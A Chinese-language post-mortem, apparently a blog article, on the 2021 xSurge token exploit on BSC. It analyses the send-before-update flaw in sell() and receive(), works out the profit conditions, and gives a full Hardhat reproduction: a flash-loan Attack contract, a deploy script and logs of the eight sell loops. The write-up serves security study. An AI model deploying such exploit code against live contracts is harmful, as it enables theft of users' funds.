本文作者:小驹[1]
xSurge 被攻击事件发生在 2021-08-16 日,距离今天已经近 1 年了,为什么还会选择这个事件进行分析?主要是这个攻击过程很有意思,有以下的几点思考
nonReentrant
防止重入,又在代码中又不遵循
检查-生效-交互模式(checks-effects-interactions)时,要怎么利用?重入漏洞的典型代码
,但利用过程却不是重入
。应该是”最像重入漏洞的套利漏洞”。xSurge 是一个基于bsc链
的 Defi 的生态系统,其代币为xSurgeToken
,用户可以通过持有 xSurgeToken 获得高收益回报,同时可以将 xSurgeToken 用于其 Defi 生态中的。xSurgeToken 遵循ERC20协议
,初始供应量为 10 亿枚,随着用户的对 xSurgeToken 的转入转出,xSurgeToken 的价格会动态进行调整。
在 2021-08-16 日,黑客通过xSurgeToken
合约代码中的漏洞,窃取了xSurgeToken
合约中的 12161 个 BNB。具体来说黑客采用闪电贷出的 10000 WBNB 做为初始资金,通过代码漏洞套利,淘空了xSurgeToken
合约的 BNB 余额,同时套利使xSurgeToken
的价格下降了7千多
倍。
本文将重点分析和复现 xSurge 的攻击过程。
漏洞可以被利用主要在于两点:
短暂时间内留存
,这笔余额被黑客用来再次购买了 xSurge。导致xSurge的价格变低
,xSurge 的价格变低,又会导致可以购买更多的 xSurge,类似于滚雪球,越滚越大
,最终把 xSurge 合约掏空。同时,叠加黑客利用闪电贷,贷到 10000 个 WBNB 进行攻击,这么大一笔钱对 xSurge 价格影响更大,从而导致循环调用 8 次就可以掏空 xSurge 合约。对这前两点进行分析说明
漏洞代码链接如下:
https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code[2]
漏洞涉及到三个函数:
回调函数
。当 xSurge 合约收到 BNB 时,该函数会自动执行,在该函数中调用了 purchase()函数。漏洞点在于:sell()函数中调用了call函数后才进行 balance的减法操作
,攻击者通过 call 函数获得代码控制权后,在 balance 还没减掉的情况下,攻击者调用 purchase 方法进行购买,达到了类似套利
的效果。
众所周知,“更高成本带来更高的收益”,黑客看到这种机会,也期望着有更多的投入来套取更大的收益,于是,攻击者为了扩大这种攻击效果,使用了闪电贷,从Pancake
中贷出来 10000 个BNB
进行攻击,在一个区块中经过 8 次的“套利”,获得了 12161 个 BNB。
在代码中,看到攻击利用的关键点
/** Purchases SURGE Tokens and Deposits Them in Sender's Address*/
// 利用关键点3:这里调用了mint时,balance还是没有减之前的,所以mint出来的肯定会多一些。
function purchase(address buyer, uint256 bnbAmount) internal returns (bool) {
// make sure we don't buy more than the bnb in this contract
require(bnbAmount <= address(this).balance, 'purchase not included in balance');
// previous amount of BNB before we received any
uint256 prevBNBAmount = (address(this).balance).sub(bnbAmount);
// if this is the first purchase, use current balance
prevBNBAmount = prevBNBAmount == 0 ? address(this).balance : prevBNBAmount;
// find the number of tokens we should mint to keep up with the current price
uint256 nShouldPurchase = hyperInflatePrice ? _totalSupply.mul(bnbAmount).div(address(this).balance) : _totalSupply.mul(bnbAmount).div(prevBNBAmount);
// apply our spread to tokens to inflate price relative to total supply
uint256 tokensToSend = nShouldPurchase.mul(spreadDivisor).div(10**2);
// revert if under 1
if (tokensToSend < 1) {
revert('Must Buy More Than One Surge');
}
// mint the tokens we need to the buyer
mint(buyer, tokensToSend); **// 到这里就成功了。**
emit Transfer(address(this), buyer, tokensToSend);
return true;
}
/** Sells SURGE Tokens And Deposits the BNB into Seller's Address */
function sell(uint256 tokenAmount) public nonReentrant returns (bool) {
address seller = msg.sender;
// make sure seller has this balance
require(_balances[seller] >= tokenAmount, 'cannot sell above token amount');
// calculate the sell fee from this transaction
uint256 tokensToSwap = tokenAmount.mul(sellFee).div(10**2);
// how much BNB are these tokens worth?
uint256 amountBNB = tokensToSwap.mul(calculatePrice());
// 利用关键点1:漏洞地方,在call中程序的控制权被转移到攻击者手里。但是在攻击balance的数量却还没有少
(bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");
if (successful) {
// subtract full amount from sender,在这里才开始减掉balance的数量
_balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
// if successful, remove tokens from supply
_totalSupply = _totalSupply.sub(tokenAmount);
} else {
revert();
}
emit Transfer(seller, address(this), tokenAmount);
return true;
}
// 利用关键点2:攻击合约得到程序控制权后,直接向xsurge合约进行转账,从而触发xsurge合约的receive函数的调用。这里会调用purchase函数
receive() external payable {
uint256 val = msg.value;
address buyer = msg.sender;
purchase(buyer, val);
}
从 xSurge 的合约代码可知,xSurgeToken的基础数量为10亿,在sell时,_totalSupply会减,在purchase时,_totalSupply会增加
。产生的影响是:黑客买入更多的 xSurgeToken 时,xSurgeToken 的价格会降低。
xSurge 的价格计算方法如下:xSurge 合约.balance/_totalSupply
// 计算xsurge的价格,xsurge价格=this.balance/_totalSupply
function calculatePrice() public view returns (uint256) {
return ((address(this).balance).div(_totalSupply));
}
可以把复现过程中,xSurge 的价格,xSurge 合约的 BNB 余额(下面 quantity 的值),xSurge 的供应量打印出来(下面_totalSupply 的值)。
2 times sell
cur price:40431697 = quantity(23614362876275166045082) / _totalSupply(584055694626796)
[recevie ]AttackContract xsurge balance:290602026064411, BNB balance
11044561081497012206562
3 times sell
cur price:30436844 = quantity(23614362876275166045082) / _totalSupply(775847945216500)
[recevie ]AttackContract xsurge balance:482394273111949, BNB balance
13801605682969677247808
4 times sell
cur price:17900419 = quantity(23614362876275166045082) / _totalSupply(1319207269744644)
[recevie ]AttackContract xsurge balance:1025753540789277, BNB balance
17259733080609943264480
5 times sell
cur price:6449277 = quantity(23614362876275166045082) / _totalSupply(3661551965635088)
…………
在整个攻击过程中,从 xSurge 合约的角度看,xSurge合约中的BNB没有变化
(一直都是 23614362876275166045082),但xSurge供应量_totalSupply一直在增加
,xSurge的价格一路走低
。(注意这句话中三个变量的顺序,这也是黑客攻击过程中的各个变量的变化趋势:xSurge 合约中的 BNB→xSurge 供应量_totalSupply→xSurge 的价格)。
从 sell 方法中,输入的是 xSurgeToken,输出的是 BNB,计算 BNB 的公式如下:
公式 1
在 purchase 方法中,输入的是 BNB,输出的是 xSurgeToken,计算 xSurgeToken 的公式如下:
转化成
公式 2
在这个 sell 方法 purchase 方法调用过程中,实现套利,sell 得到的 bnb(也就是公式 1)需要大于 purchase 时输入的 bnb(也就是公式 2),所以公式 1 的右边>公式 2 的右边,得到下面的不等式.
计算得出
也就是,当购买xSurgeToken投入的资本量大于0.1238*totalSupply
时,可以实现套利。
我们打印出黑客攻击时的xSurgeToken的价格
和totalSupply
,分别为 46393569, 293453665448225
需要投入的最少的 xSurge 数量为:0.1238*293453665448225 = 36329563782490.255。
所以攻击所需要的最低成本大约为:数量价格=36329563782490.25546393569 = 1685.4e18 = 1685个BNB
。如果攻击时,使用少于 1685 个 BNB 的话,会导致入不敷出。
我们通过使用 1000 个 BNB 进行攻击来模拟下入不敷出的场景
,在这种场景下,**xSurge 的价格会越来越高(如下图)**,最终导致连 1000 个 BNB 的本金都会亏损(在调用 11 次 sell 后,1000 个 BNB 只会剩下 426 个)。
攻击者因此采用了闪电贷
的方式获得 10000 个 BNB 到 xSurge 合约后进行攻击,换出一大笔 xSurgeToken,在 xSurge 合约 sell 中代币余额没有减的漏洞,在调用 xSurge 的 purchase 时,_totalSupply 会增大,导致价格减少,循环下去,_totalSupply 越来越大,xSurge 价格越来越小。
价格越来越小,就导致在这 10000 个 BNB 的本钱下,可换出来的 xSurge 越来越多。
根据交易的 tx: 0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2 ,可以看到黑客通过部署了攻击合约,并调用攻击合约进行攻击,在攻击合约中使用了 Pancake 的闪电贷功能,所有的攻击过程都在 PancakePair.swap 的闪电贷方法中进行。
在闪电贷中,通过查看调用 swap 方法时的参数,其中的 data 数据就是闪电货的回调函数,攻击合约贷出来的币会在该回调函数中进行套利使用。
重点看下闪电贷中的回调函数操作:
主要操作如下:
202,610,205,836,752
xSurge)9066.40333453581
BNB, 🥵 到此黑客还是赔本的,因为贷出的 10000 个 BNB 现在变成了 9066 个…..)。此时攻击合约得到了 BNB,但攻击合约中的 xsurge 的数量还是没有减掉的。sell 方法中的 call 函数会把程序的控制权转换到攻击合约的 fallback 中。290,629,974,679,289
,与 b 中的 xsurge 数量相比202,610,205,836,752
,已经多出来很多了…..)9066
变成11044
BNB,对应的 xSurge 从 290,629,974,679,289
增长到482,532,660,156,157
),到第三次重复时,BNB 的数量就达到13802
,第四次重复到了 17260,…………,到第 8 次,BNB 到了 22191 后,阿祖开始收手了…可以看下这 8 次的操作时,账户金额的变化,从最初的闪电贷贷出的初始 10000 BNB 做为黑客的“创业资本”,黑客的 BNB 的数量越来多。同时,xSurge 的价格也越来越低,这是由黑客的套利行为引起的 xSurge 的价格变化。
次数 | xSurge 的价格 | 初始买入 xSurge 的数量 | sell 后得到的 BNB 数量 | 调用 receive 后得到的 xSurge 数量 |
---|---|---|---|---|
1 | 46,394,503 | 202,610,205,836,752 | 9066 | 290,629,974,679,289 |
2 | 40,429,226 | 290,629,974,679,289 | 11044 | 482,532,660,156,157 |
3 | 30,429,743 | 482,532,660,156,157 | 13802 | 1,026,387,665,528,484 |
4 | 17,889,900 | 1,026,387,665,528,484 | 17260 | 3,372,122,831,057,924 |
5 | 6,441,197 | 3,372,122,831,057,924 | 20417 | 22,033,618,137,782,256 |
6 | 1,057,468 | 22,033,618,137,782,256 | 21901 | 269,089,469,621,295,418 |
7 | 87,645 | 269,089,469,621,295,418 | 22169 | 3,896,288,852,239,436,433 |
8 | 6,059 | 3,896,288,852,239,436,433 | 22191 |
攻击复现时在 fork 对应的区块时,不要使用morails
,morails 的加速节点有问题,无法 fork 成功。alchemy 又不支持 bsc 链,这里使用了quicknode
进行区块 fork 。
另外黑客攻击发生在 10087724 区块高度,使用 quicknode 从 10087723fork 后,得到的xSurge的价格与黑客攻击时稍微的不同
,猜测可能是由于对应的区块中也有对 xSurgeToken 的调用导致 xSurge 的价格产生了稍微的变化。
攻击复现的效果图如下:
import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";
const config: HardhatUserConfig = {
solidity: {
version: "0.8.8",
settings: {
optimizer: {
enabled: true,
runs: 200,
},
},
},
networks: {
hardhat: {
forking: {
// url: "https://speedy-nodes-nyc.moralis.io/*******/bsc/mainnet/archive",
// url: "https://eth-mainnet.alchemyapi.io/v2/*******",
url: "https://falling-wandering-river.bsc.discover.quiknode.pro/*******/",
// 10087724 19381696
blockNumber: 10087723,
},
loggingEnabled: false,
gas: 20_000_000,
}
}
};
export default config;
使用 hardhat 进行攻击复现。攻击复现代码如下,使用的复现命令为
npx hardhat run scripts/deploy.ts --network hardhat
攻击合约。
攻击合约中有定义maxSellNumber
状态变量,用来指定调用 sell 方法的次数。可以通过修改这个状态变量的值
,来观察不同的区块高度上的 xSurgeToken 状态下,最优的 sell 次数。
攻击合约中有几点注意事项:
receive()回调
中,通过maxSellNumber
控制最后一次不要执行“向 xSurge 转入 BNB,再次买入 xSurge”的操作(如果每次都执行这个操作,最终的资金全部在 xSurge 中,最终会把所有的资金锁死)。再次买入xSurge
的操作。maxSellNumber-1
次不再买入xSurge
,此时攻击合约会得到 BNB// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/Uniswap.sol";
import "hardhat/console.sol";
import "./IXsurge.sol";
import "./interfaces/IWBNB.sol";
interface IPancakeCallee {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract Attack is IPancakeCallee, Ownable{
address private constant UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant PancakeToken= 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
address private constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address private constant PanckaePair = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
address private constant surgeTokenAddr = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;
uint256 curSellNumber = 0;
uint256 constant maxSellNumber = 8;
constructor(){
}
fallback() external {}
receive() payable external {
if(msg.sender==surgeTokenAddr && curSellNumber<=maxSellNumber-1){
console.log("[recevie()]AttackContract xsurge balance:%s, BNB balance:%s",
ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),
address(this).balance);
uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
payable(surgeTokenAddr).call{value:address(this).balance}(""); // 向xSurge转入BNB,再次买入xSurge
}
}
function startAttack(address _tokenBorrow, uint256 _amount) public onlyOwner {
address pair = IUniswapV2Factory(PancakeFactory).getPair(_tokenBorrow, PancakeToken);
require(pair!=address(0), "the pair _tokenBorrow is not exist...");
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint256 amount0Out = _tokenBorrow==token0 ? _amount : 0;
uint256 amount1Out = _tokenBorrow== token1 ? _amount : 0;
bytes memory data = abi.encode(_tokenBorrow, _amount);
IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);
}
function pancakeCall(address _sender, uint amount0, uint amount1, bytes calldata _data) external override{
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
// call uniswapv2factory to getpair
address pair = IUniswapV2Factory(PancakeFactory).getPair(token0, token1);
require(msg.sender == pair, "!pair");
// check sender holds the address who initiated the flash loans
require(_sender == address(this), "!sender");
(address tokenBorrow, uint amount) = abi.decode(_data, (address, uint));
uint256 price = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();
// console.log("price:", price); //46394463
console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",
IERC20(WBNB).balanceOf(address(this)),
IERC20(surgeTokenAddr).balanceOf(address(this)),
address(this).balance);
// 将从闪电贷中得到的10000 WBNB转化成自身的 BNB
console.log("AttackContract get %s WBNB to BNB", amount);
IWBNB(payable(WBNB)).withdraw(amount);
console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",
IERC20(WBNB).balanceOf(address(this)),
IERC20(surgeTokenAddr).balanceOf(address(this)),
address(this).balance);
// 将自身从闪电贷中的得到的WBNB,转化成BNB后,充值给xSurgerToken.
console.log("AttackContract send %s BNB to xSurgeToken", amount);
payable(surgeTokenAddr).call{value:amount}("");
console.log("[Before]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s",
IERC20(WBNB).balanceOf(address(this)),
IERC20(surgeTokenAddr).balanceOf(address(this)),
address(this).balance);
// 将得到的xSurge sell掉,在调用xSurge的sell方法时,sell方法的call会将程序控制权交到attackContract的receiver回调函数中。
curSellNumber = 1;
uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
// console.log("hackContractXsurge count:", hackContractXsurge);
console.log("%s times sell", curSellNumber);
uint256 xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();
console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",
price,
xSurgeTokenBnbQuantity,
xSurgeTokenBnbQuantity/price);
ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);
// 将上面的方法连续调用多次。
curSellNumber++;
for (; curSellNumber<=maxSellNumber; curSellNumber++) {
uint256 curPrice = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();
xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();
console.log("%s times sell",
curSellNumber);
console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",
curPrice,
xSurgeTokenBnbQuantity,
xSurgeTokenBnbQuantity/curPrice);
hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
// 每次sell时,控制权会来到receive函数中,在receive中向xSurgeToken转入BNB买入xSurge
ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);
}
console.log("[After loop]AttackContract xsurge balance:%s, BNB balance:%s",
ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),
address(this).balance);
console.log("BNB-> WBNB:%s->%s",
address(this).balance,
IWBNB(payable(WBNB)).balanceOf(address(this)));
payable(WBNB).call{value:address(this).balance}("");
console.log("[Compelete...]BNB-> WBNB:%s->%s",
address(this).balance,
IWBNB(payable(WBNB)).balanceOf(address(this)));
// 归还闪电贷。0.3% fees
uint fee = ((amount * 3) / 997) + 1;
uint amountToRepay = amount + fee;
console.log("return %s WBNB(amountToRepay:%s) flashloan...Cur constract WBNB balance:%s\n",
amount/1 ether,
amountToRepay/1 ether,
IERC20(WBNB).balanceOf(address(this))/1 ether);
IERC20(tokenBorrow).transfer(pair, amountToRepay);
console.log("[Filnal...]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s\n",
IERC20(WBNB).balanceOf(address(this))/1 ether,
IERC20(surgeTokenAddr).balanceOf(address(this)),
address(this).balance);
}
}
脚本的主要功能为部署攻击合约,调用攻击合约。
import { ethers } from "hardhat";
import hre from "hardhat";
import "@nomicfoundation/hardhat-chai-matchers";
import { BigNumber } from "ethers";
async function main() {
const ERC20ABI = require("@uniswap/v2-core/build/ERC20.json").abi;
const WBNB = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";
const XSurgeTokenAddr = "0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21";
let borrowAmount = ethers.BigNumber.from("10000000000000000000000"); // 使用10000个BNB攻击
// let borrowAmount = ethers.BigNumber.from("2000000000000000000000"); // 2000个BNB
// let borrowAmount = ethers.BigNumber.from("1000000000000000000000"); // 1000个BNB,可用来模拟入不敷出的场景
// 1.部署AttackContract
const Attack = await ethers.getContractFactory("Attack");
var attackContract = await Attack.deploy();
await attackContract.deployed();
var Alice;
[Alice] =await hre.ethers.getSigners();
// 2.调用攻击合约的闪电贷
const WBNBContract = new ethers.Contract(WBNB, ERC20ABI, Alice);
const XSurgeContract = new ethers.Contract(XSurgeTokenAddr, ERC20ABI, Alice);
console.log("[Before Attack.....]AttackContract xsurge balance:%s ether, WBNB balance:%s ether, BNB balance:%s ether\n",
ethers.utils.formatEther(await XSurgeContract.balanceOf(attackContract.address)),
ethers.utils.formatEther(await WBNBContract.balanceOf(attackContract.address)),
ethers.utils.formatEther(await attackContract.provider.getBalance(attackContract.address)));
console.log("attackContract startAttack flahloan.....");
await attackContract.startAttack(WBNB, borrowAmount);
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
黑客利用的区块高度为 10087724,因此复现时计划从上一区块,也就是 10087723 进行 fork。但这过程中有一些坑。
moralis
是我最喜欢用的,首先是因为 morails 支持的公链更多,但从 10087723 fork 时,一直指示 timestamp 的错误,导致 fork 失败。而尝试后发现,如果从最新产生的区块高度 19381696 附近进行 fork 的话,则会成功。因此,对于比较久远的区块,morails fork 时可能会出现问题。alchemy
,alchemyapi 目前支持 ethereum, polygon, arbitrum, optimism 公链,暂不支持 BSC 链,因此也放弃。quiknode
提供的节点功能,可以成功,但 quiknode 速度稍慢一些。再看下漏洞存在的 sell 方法中的关键代码,sell 方法有nonReentrant
修饰符,存在对重入攻击的防范措施
,所以在 sell 函数执行完之前,攻击者是无法再次进入到 sell 函数中的。在漏洞利用中,攻击者也没有利用漏洞再次进行 sell 函数,而是利用漏洞后进入 purchase 函数。
function sell(uint256 tokenAmount) public nonReentrant returns (bool) {
address seller = msg.sender;
……………………
(bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");
if (successful) {
_balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
_totalSupply = _totalSupply.sub(tokenAmount);
} else {
revert();
}
}
本次合约代码中存在的漏洞利用与传统的重入攻击有些区别。
自动循环
就产生了。在这种场景下是 A 合约的 a 方法与 B 合约的 b 方法构成调用循环。人工
的多次调用套利操作。更像是个半自动的过程。请思考下,为什么黑客攻击是进行 8 次就中止?为什么不是 9 次或者 7 次,而是 8 次?如果真的执行 9 次会怎么样?如果执行 11 次会怎样?如果执行 12 次会怎么?
因为 xSurge 合约中的代币数量在第8次时收益会最大
,打印出调用 sell 的次数时,对应的取出的 BNB 数量,在第 8 次时有 22192 的收益,收益最大。第 9 次时,收益只有 22187 在第 11 次时,此时 xSurge 的价格只有 2 了,收益只有 21928 了。
如果第 12 次,xSurge 里的代币价值就不够你充值的 BNB 了,会导致黑客所有的 xsurge 都取不出来,在这种情况下,黑客就会偷鸡不成反蚀米,充值充爆了 xSurgeToken,还无法从 xSurgeToken 中取出 BNB。
下表中的 cur price 表示当前次数时,xSurge 的价格;BNB balance 表示当前次数时的收益。
7 times sell, cur price:87868
[recevie ]AttackContract xsurge balance:268451834133810277, BNB balance
22173026215969462900880
8 times sell, cur price:6075
[recevie ]AttackContract xsurge balance:3886227754608511667, BNB balance
22192303592691905868450
9 times sell, cur price:414
[recevie ]AttackContract xsurge balance:57012958598099436221, BNB balance
22187162968036376599458
10 times sell, cur price:28
[recevie ]AttackContract xsurge balance:833145075801540780287, BNB balance
21928378395096553337132
11 times sell
[recevie ]AttackContract xsurge balance:0, BNB balance
19149587866837346185250
Defi 生态中都会存在价格波动,如何检测到价格波动是否正常是 Defi 生态中要考虑的最最重要的问题。历史上很多次的攻击都是由于价格波动引起的,闪电贷的方式又可以让攻击者以一种杠杆的方式加大价格的波动,加大后的价格波动又成为套利的温床。
xSurge 的价格波动可以通过数学的方式计算出来,能否后续会有一种安全产品:基于产品的实现逻辑抽取出价格模型,由数学证明价格模型来发现漏洞
?
重入漏洞分析-基于 hardhat、solidity0.8 环境https://learnblockchain.cn/article/4166[3]
xSurge 官网
https://xsurge.net/[4]
sharkteam 团队的分析文章
https://www.defidaonews.com/media/6690474[5]
tenderly 攻击交易调试
https://dashboard.tenderly.co/tx/bsc/0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2[6]blocksecteam 网址
https://versatile.blocksecteam.com/tx/bsc/0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2[7]
漏洞代码地址
https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code[8]知道创宇的分析文章
https://zhuanlan.zhihu.com/p/419500307[9]
[1]
小驹: https://learnblockchain.cn/people/9625
[2]
https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code: https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code
[3]
https://learnblockchain.cn/article/4166: https://learnblockchain.cn/article/4166
[4]
https://xsurge.net/: https://xsurge.net/
[5]
https://www.defidaonews.com/media/6690474: https://www.defidaonews.com/media/6690474
[6]
https://dashboard.tenderly.co/tx/bsc/0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2: https://dashboard.tenderly.co/tx/bsc/0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2
[7]
https://versatile.blocksecteam.com/tx/bsc/0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2: https://versatile.blocksecteam.com/tx/bsc/0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2
[8]
https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code: https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code
[9]
https://zhuanlan.zhihu.com/p/419500307: https://zhuanlan.zhihu.com/p/419500307